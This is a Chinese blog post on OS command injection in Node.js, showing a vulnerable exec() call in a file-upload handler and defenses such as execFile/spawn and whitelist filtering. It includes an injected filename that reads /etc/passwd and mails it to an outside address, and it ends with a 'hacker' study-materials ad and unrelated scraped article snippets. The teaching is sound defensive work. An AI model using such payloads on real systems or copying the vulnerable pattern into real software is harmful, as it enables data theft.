Web 安全漏洞之 OS 命令注入

2024-01-21

什么是 OS 命令注入

上周我们分享了一篇 《Web 安全漏洞之 SQL 注入》 ,其原理简单来说就是因为 SQL 是一种结构化字符串语言,攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句。而今天要讲的 OS 命令注入其实原理和 SQL 注入是类似的,只是场景不一样而已。OS 注入攻击是指程序提供了直接执行 Shell 命令的函数的场景,当攻击者不合理使用,且开发者对用户参数未考虑安全因素的话,就会执行恶意的命令调用,被攻击者利用。

在 Node.js 中可以使用 exec() 执行命令。以基于 ThinkJS 开发的博客系统 Firekylin 为例,其中有一个用户上传压缩包导入数据的功能,为了方便直接使用了 tar 命令去解压文件,大致代码如下:

const { exec } = require('child_process');

const extractPath = path.join(think.RUNTIME_PATH, 'importMarkdownFileToFirekylin');
module.exports = class extends think.Controller {
    async upload() {
        const { path: filePath } = this.file('import');
        exec(`rm -rf ${extractPath}; mkdir ${extractPath}; cd ${PATH}; tar zvxf "${filePath}"`);
    }
} 

其中 filePath 是用户上传文件的包含文件名的临时上传路径。假设此时用户上传的文件名为 $(whoami).tar.gz ,那么最后 exec() 就相当于执行了 tar zvxf "/xxx/runtime/$(whoami).tar.gz" 。而 Bash 的话双引号中的 $() 包裹部分会被当做命令执行,最终达到了用户超乎程序设定直接执行 Shell 命令的可怕结果。类似的写法还有 `` 包裹。当然我这里写的是 whoami 命令显得效果还好,如果是 $(cat /etc/passwd | mail -s "host" i@imnerd.org).tar.gz 能直接获取到机器密码之类的就能体会出这个漏洞的可怕了吧。

为什么使用 exec 会出问题?

因为在child_process.exec引擎下,将调用执行"/bin/sh"。而不是目标程序。已发送的命令只是被传递给一个新的"/bin/ sh’进程来执行shell。 child_process.exec的名字有一定误导性 - 这是一个bash的解释器,而不是启动一个程序。这意味着,所有的shell字符可能会产生毁灭性的后果,如果直接执行用户输入的参数。 via: 《避免Node.js中的命令行注入安全漏洞》

OS 命令注入的危害

正如刚才所说,由于能获取直接执行系统命令的能力,所以 OS 命令注入漏洞的危害想必不需要我再强调一遍。总之就是基本上能“为所欲为”吧。

为所欲为

防御方法

使用 execFile / spawn

在 Node.js 中除了 exec() 之外,还有 execFile() spawn() 两个方法也可以用来执行系统命令。它们和 exec() 的区别是后者是直接将一个命令字符串传给 /bin/sh 执行,而前者是提供了一个数组作为参数容器,最后参数会被直接传到 C 的命令执行方法 execve() 中,不容易执行额外的参数。

当使用 spawn 或 execfile 时,我们的目标是只执行一个命令(参数)。这意味着用户不能运行注入的命令,因为 /bin/ls 并不知道如何处理反引号或管道操作或;。它的 /bin/sh 将要解释的是那些命令的参数。 via: 《避免Node.js中的命令行注入安全漏洞》

不过这个也不是完美之策,这个其实是利用了执行的命令只接受普通参数来做的过滤。但是某些命令,例如 /bin/find ,它提供了 -exec 参数,后续的参数传入后会被其当成命令执行,这样又回到了最开始的状态了。

白名单校验

除了上面的方法之外,我们也可以选择对用户输入的参数进行过滤校验。例如在文章开头的上传文件的示例里,由于是用户上传的文件名,根据上下文我们可以对其限制仅允许纯英文的文件名其它的都过滤掉,这样也能避免被注入的目的。当然黑名单也不是不可以,只是需要考虑的情况比较多,像上文说的 `` $() 等等情况都需要考虑,再加上转义之类的操作防不胜防,相比之下还是白名单简单高效。

let { path: filePath } = this.file('import');
filePath = filePath.replace(/[^a-zA-Z0-9.\/_-]/g, ''); 

当然最好还是不要允许用户输入参数,只允许用户选择比较好。

后记

网络上关于 Node.js 的命令注入漏洞描述的文章比较少,大多都是 PHP 的。虽然大道理是相同的,不过在具体的防御处理上不同的语言稍微有点不一样,所以写下这篇文章分享给大家。当然除了做校验之外,使用非 root 权限用户执行程序限制其权限也能有一定的作用。另外可以定期的搜索下代码中使用 exec() 命令的地方,看看有没有问题。本来这时候应该给大家推荐一款静态分析工具来代替人肉扫描的,不过奈何 Node.js 这方面的静态分析工具不多。总之,日常开发中能不是用系统命令的尽量不是用,实在不得以要用的话也要做好校验,是用 spawn() 等相较安全的方法。
题外话

随着信息技术的快速发展和互联网的普及,IT行业 成为一个非常热门的领域,也是目前就业前景非常广阔的领域之一。

IT行业是一个非常庞大和多样化的行业,包括软件开发、网络安全、数据分析、云计算等等领域。因此,就业前景也是非常广泛和多样化的,不同的领域和职位都具有不同的就业前景和发展机会。

在软件开发领域,由于软件已经成为现代社会不可或缺的一部分,因此对软件开发人才的需求也越来越大。特别是在移动应用、大数据、人工智能等领域,软件开发人才的需求更是迅速增长。因此,软件开发人才的就业前景非常广阔,尤其是那些熟练掌握多种编程语言和技术的人才。

有幸看到一篇这样一组数据。

根据这些我不得总结,it行业确实人才紧缺,

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

学习资料分享

当然, 只给予计划不给予学习资料的行为无异于耍流氓 ,### 如果你对网络安全入门感兴趣,那么你点击这里 ????

如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)

????网安(嘿客)全套学习视频????

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

img

????网安(嘿客红蓝对抗)所有方向的学习路线****????

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

img

学习资料工具包

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

在这里插入图片描述

面试题资料

独家渠道收集京东、360、天融信等公司测试题!进大厂指日可待!
在这里插入图片描述

???? 嘿客必备开发工具 ????

工欲善其事必先利其器。学习 客常用的开发软件都在这里了,给大家节省了很多时间。

这份完整版的网络安全( 客)全套学习资料已经上传至CSDN官方,朋友们如果需要点击下方链接 也可扫描下方微信二v码获取网络工程师全套资料 【保证100%免费】

在这里插入图片描述

如果你对网络安全入门感兴趣,那么你点击这里 ????

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Web 安全漏洞之 OS 命令注入 的相关文章

  • 【信道估计】【MIMO】【FBMC】未来移动通信的滤波器组多载波调制方案(Matlab代码实现)

    欢迎来到本博客 博主优势 博客内容尽量做到思维缜密 逻辑清晰 为了方便读者 座右铭 行百里者 半于九十 本文目录如下 目录 1 概述 2 运行结果 3 参考文献 4 Matlab代码及文章
  • 远程控制软件安全吗?一文看懂ToDesk、RayLink、TeamViewer、Splashtop相关安全机制_raylink todesk

    目录 一 前言 二 远程控制中的安全威胁 三 国内外远控软件安全机制 ToDesk RayLink Teamviewer Splashtop 四 安全远控预防 一 前言 近期 远程控制话题再一次引起关注 据相关新闻报道 不少不法分子利用远程
  • 基于java的饮食分享平台系统设计与实现

    基于java的饮食分享平台系统设计与实现 I 引言 A 研究背景和动机 近年来 随着人们生活水平的提高和健康意识的增强 饮食健康已经成为越来越多人的关注焦点 因此 一个方便快捷的饮食分享平台就显得尤为重要 基于Java的饮食分享平台系统设计
  • 基于java的物业管理系统设计与实现

    基于java的物业管理系统设计与实现 I 引言 A 研究背景和动机 物业管理系统是指对物业进行管理和服务的系统 该系统需要具备对物业信息 人员信息 财务信息等进行管理的能力 基于Java的物业管理系统设计与实现的研究背景和动机主要体现在以下
  • 基于java的web仓库管理系统设计与实现

    基于java的web仓库管理系统设计与实现 I 引言 A 研究背景和动机 基于Java的Web仓库管理系统是近年来快速发展的领域之一 它提供了丰富的功能 如数据存储 数据检索 数据分析和数据可视化等 本文将重点介绍基于Java的Web仓库管
  • 揭秘网络世界的幕后密码——Wireshark网络协议分析软件

    在我们日常生活中 计算机和互联网已经成为不可或缺的一部分 然而 很少有人真正了解网络背后复杂的工作原理和通信协议 幸运的是 有一款强大而实用的软件 Wireshark 可以帮助我们深入了解网络世界的幕后密码 Wireshark是一款免费的网
  • 低代码配置-组件列表设计

    过滤字段功能 配置了api 启用 输出配置 filter type Array default gt
  • 【ES6】解构语句中的冒号(:)

    在解构赋值语法中 冒号 的作用是为提取的字段指定一个新的变量名 让我们以示例 const billCode code version route query 来说明 billCode code version 表示从 route query
  • 低代码配置-列表页组件设计

    保存 表单属性存放 bill 筛选项配置存放 filterLayout 列表按钮存放 buttonLayout 列表布局存放 listLayout api存放 api 数据结构 layout 存放表单基础配置 bill 存放按钮基础配置 b
  • 低代码-详情页组件设计

    效果图 详情页数据结构定义 layout 按钮数据 buttonLayout headButton 页头按钮 footButton 页脚按钮 详情页表单配置 config 配置组件列表 detailLayout 默认行为 进表单初始化 只展
  • Vue 如何使用WebSocket与服务器建立链接 持续保持通信

    WebSocket 浏览器通过JavaScript向服务器发出建立WebSocket链接的请求 链接建立后 客户端和服务器端就可以通过TCP链接直接交互数据 WebSocket链接后可以通过 send 方法来向服务器发送数据 并通过 onn
  • chrome浏览器无法在地址栏输入内容搜索问题解决--图文

    关于日常遇到的小问题解决记录一下 1 导航栏录入信息后跳转错误 2 解决办法 默认百度搜索引擎地址错误 百度正确的搜索格式是 http www baidu com s wd s chrome浏览器中百度的搜索格式是 http www bai
  • 考虑光伏出力利用率的电动汽车充电站能量调度策略研究(Matlab代码实现)

    欢迎来到本博客 博主优势 博客内容尽量做到思维缜密 逻辑清晰 为了方便读者 座右铭 行百里者 半于九十 本文目录如下 目录 1 概述 2 运行结果 3 参考文献 4 Matlab代码 数据
  • 内网安全:隧道技术详解

    目录 隧道技术 反向连接技术 反向连接实验所用网络拓扑图及说明 网络说明 防火墙限制说明 实验前提说明 实战一 CS反向连接上线 拿下Win2008 一 使用转发代理上线创建监听器 二 上传后门执行上线 隧道技术 SMB协议 SMB协议介绍
  • 【网络安全】——区块链安全和共识机制

    区块链安全和共识机制 摘要 区块链技术作为一种分布式去中心化的技术 在无需第三方的情况下 使得未建立信任的交易双方可以达成交易 因此 区块链技术近年来也在金融 医疗 能源等多个行业得到了快速发展 然而 区块链为无信任的网络提供保障的同时 也
  • 为什么我强烈推荐大学生打CTF!

    前言 写这个文章是因为我很多粉丝都是学生 经常有人问 感觉大一第一个学期忙忙碌碌的过去了 啥都会一点 但是自己很难系统的学习到整个知识体系 很迷茫 想知道要如何高效学习 这篇文章我主要就围绕两点 减少那些罗里吧嗦的废话 直接上干货 CTF如
  • 每日变更的最佳实践

    在优维公司内部 我们采用发布单的方式进行每天的应用变更管理 这里给各位介绍优维的最佳实践 变更是需要多角色合作的 而且他是整体研发流程的一部分 在优维内部 我们坚持每日变更 打通开发环节到最终发布上线的全过程 在保证质量的前提下 尽可能提升
  • 【js学习之路】遍历数组api之 `filter `和 `map`的区别

    一 前言 数组是我们在项目中经常使用的数据类型 今天我们主要简述作用于遍历数组的api filter 和 map 的区别 二 filter和map的共同点 首先 我们主要阐述一下 filter 和 map 的共同点 api的参数都是回调函数
  • 【安全】Java幂等性校验解决重复点击(6种实现方式)

    目录 一 简介 1 1 什么是幂等 1 2 为什么需要幂等性 1 3 接口超时 应该如何处理 1 4 幂等性对系统的影响 二 Restful API 接口的幂等性 三 实现方式 3 1 数据库层面 主键 唯一索引冲突 3 2 数据库层面 乐
  • 网工内推 | 上市公司同程、科达,五险一金,年终奖,最高12k*15薪

    01 同程旅行 招聘岗位 网络工程师 职责描述 1 负责职场 门店网络规划 建设 维护 2 负责网络安全及访问控制 上网行为管理和VPN设备的日常运维 3 负责内部相关网络自动化和系统化建设 4 优化与提升网络运行质量 制定应急预案 人员培

随机推荐

  • 如何格式化 Pandas 数据框的 IPython html 显示?

    如何格式化 Pandas 数据帧的 IPython html 显示 以便 数字右对齐 数字以逗号作为千位分隔符 大浮点数没有小数位 我明白那个numpy有设施set printoptions我可以在哪里做 int frmt lambda x
  • 删除 Jupyter Notebook 的每个单元格行上的播放按钮显示

    我在使用 Jupyterbook 时不小心按下了一些按钮 现在 每个单元格都会显示一个 运行此单元格 播放按钮 图标 这在视觉上会分散注意力 我找不到切换开关 命令来将其关闭 我可以把它关掉吗 您很可能已经升级了notebook打包到版本5
  • 如何获取当前小部件的偏移量

    每当用户按下屏幕时 我就尝试绘制一个小部件 目前 我通过存储小部件列表来做到这一点 当 ontapup 在手势上触发时 我将添加到小部件列表中 Widget build BuildContext context Widget draw ne
  • 路由模型绑定和软删除 - Laravel 4

    当使用软删除和路由到模型绑定时 会出现一种情况 如果注入的模型已被 软删除 则您无法查看该模型 e g 我有一个工作模型 如果我 垃圾 其中一个模型 然后打开垃圾箱并尝试查看作业模型 我会收到 404 未找到资源 我通过使用 Route b
  • 如何使用另一个板条箱中定义的宏?

    我看过一些使用以下命令创建 Python 模块的教程cpythoncrate 但构建时仍然出现错误 extern crate cpython use cpython PyObject PyResult Python PyTuple PyDi
  • F# 中可以进行函数重载吗?

    就像是 let f x log x 然后我可以将 f 应用于矩阵 向量或浮点数 我想这是不可能的 因为 F 是严格静态类型的 还有其他模式可以解决这个问题吗 Thanks 看我对这个问题的回答 具有泛型参数类型的函数 https stack
  • Node.js Stream API 泄​​漏

    在使用节点流时 我注意到几乎每个教程都会教授以下内容 Get Google s home page require http get http www google com function response The callback pr
  • Strapi Beta 带有用于电子邮件的自定义 Sendgrid 控制器代码

    Strapi beta 的结构改变了插件的架构方式 删除了 plugins 目录 插件现在保存在 node modules 目录中 我正在尝试编写一些自定义代码以在下订单后触发确认电子邮件 在以前版本的 Strapi 中 电子邮件插件目录位
  • 想要在 Twilio Studio 中使用 Whisper

    我想在 Twilio Studio 中使用 Whisper 这可能吗 现在我只使用 Twilio Studio 和 TwiML Bin 我的目标是 用户呼叫我的 Twilio 号码 将呼叫连接至支持团队电话 在开始用户 客户 和支持团队之间
  • Queryable.Any() 返回 null?

    我有一个数据库查找 例如 var configs dbData Configs Where e gt headers Contains e headerId e flag true if configs Any 其中 configs 作为
  • 如何使用 ggplot2 和线性近似拟合和绘制指数衰减函数

    我试图在只有几个时间点的数据上拟合指数衰减函数 我想使用指数衰减方程 http en wikipedia org wiki Exponential decay y y0 e r time 为了比较r数据集和因子之间 或最终的半衰期 我知道使
  • VS2015 中“DateTime”不包含“ToShortDateString”的定义

    在 VS 2015 中创建通用应用程序并尝试在共享项目中使用 DateTime 的 ToShortDateString 方法时出现以下问题 Visual Studio 2015 智能感知将此显示为错误 但应用程序运行良好 只是想知道 这是
  • 外部链接或 url 在phonegap 上不起作用

    我正在尝试使用phonegap 1 1 0 xcode4 和jqtouch 开发一个应用程序 问题是我无法打开任何外部链接 例如 如果我使用此 href 属性编写锚标记 href http www google com 运行应用程序并单击链
  • 卢阿。在文件中搜索字符串并打印第二列

    寻找解决方案来替换 Lua 中的以下命令 grep dhcp range tmp etc dnsmasq conf awk F print 2 tried for line in file lines do if line match th
  • 在 ubuntu 14.04 中升级 openSSH 7.2p

    我有一台运行 Ubuntu 14 04 的服务器 但我有 PCI 要求问题 我已经在我的服务器中安装了 OpenSSH 6 6p1 然后将其升级到 OpenSSH 7 2p 使用以下命令编译代码直接从 OpenSSH 的存储库进行 make
  • 在用户窗体中使用 Office 图标作为命令按钮上的图像

    我正在创建一些在 OutLook 2010 中使用的用户表单 我想利用一些 Office 图标作为各种命令按钮上的图像 无论如何 我是否可以引用 Office 图标 以避免必须使用宏分发 ico 文件 是的 这将为您提供蓝色信息圆圈 Sub
  • 分段错误 - 在 C 中声明和初始化数组

    我对 C 非常陌生 来自 Python Java 和 C 世界 这可能是一个愚蠢的问题 但我遇到了分段错误 struct for storing matrices typedef struct int m int n float elts
  • jsdoc @ 代码块内的字符

    我正在尝试为这样的模块函数编写文档 Usage NgModule imports BrowserModule ThisModule forRoot name Name version 1 0 param config Service con
  • 覆盖javascript中现有对象的函数

    考虑以下代码 mynamespace myclass function this myfunction function alert Original 我想做的是从 mynamespace myclass 声明之外覆盖 myfunction
  • Web 安全漏洞之 OS 命令注入

    什么是 OS 命令注入 上周我们分享了一篇 Web 安全漏洞之 SQL 注入 其原理简单来说就是因为 SQL 是一种结构化字符串语言 攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句 而今天要讲的 OS 命令注入其实原理和 SQL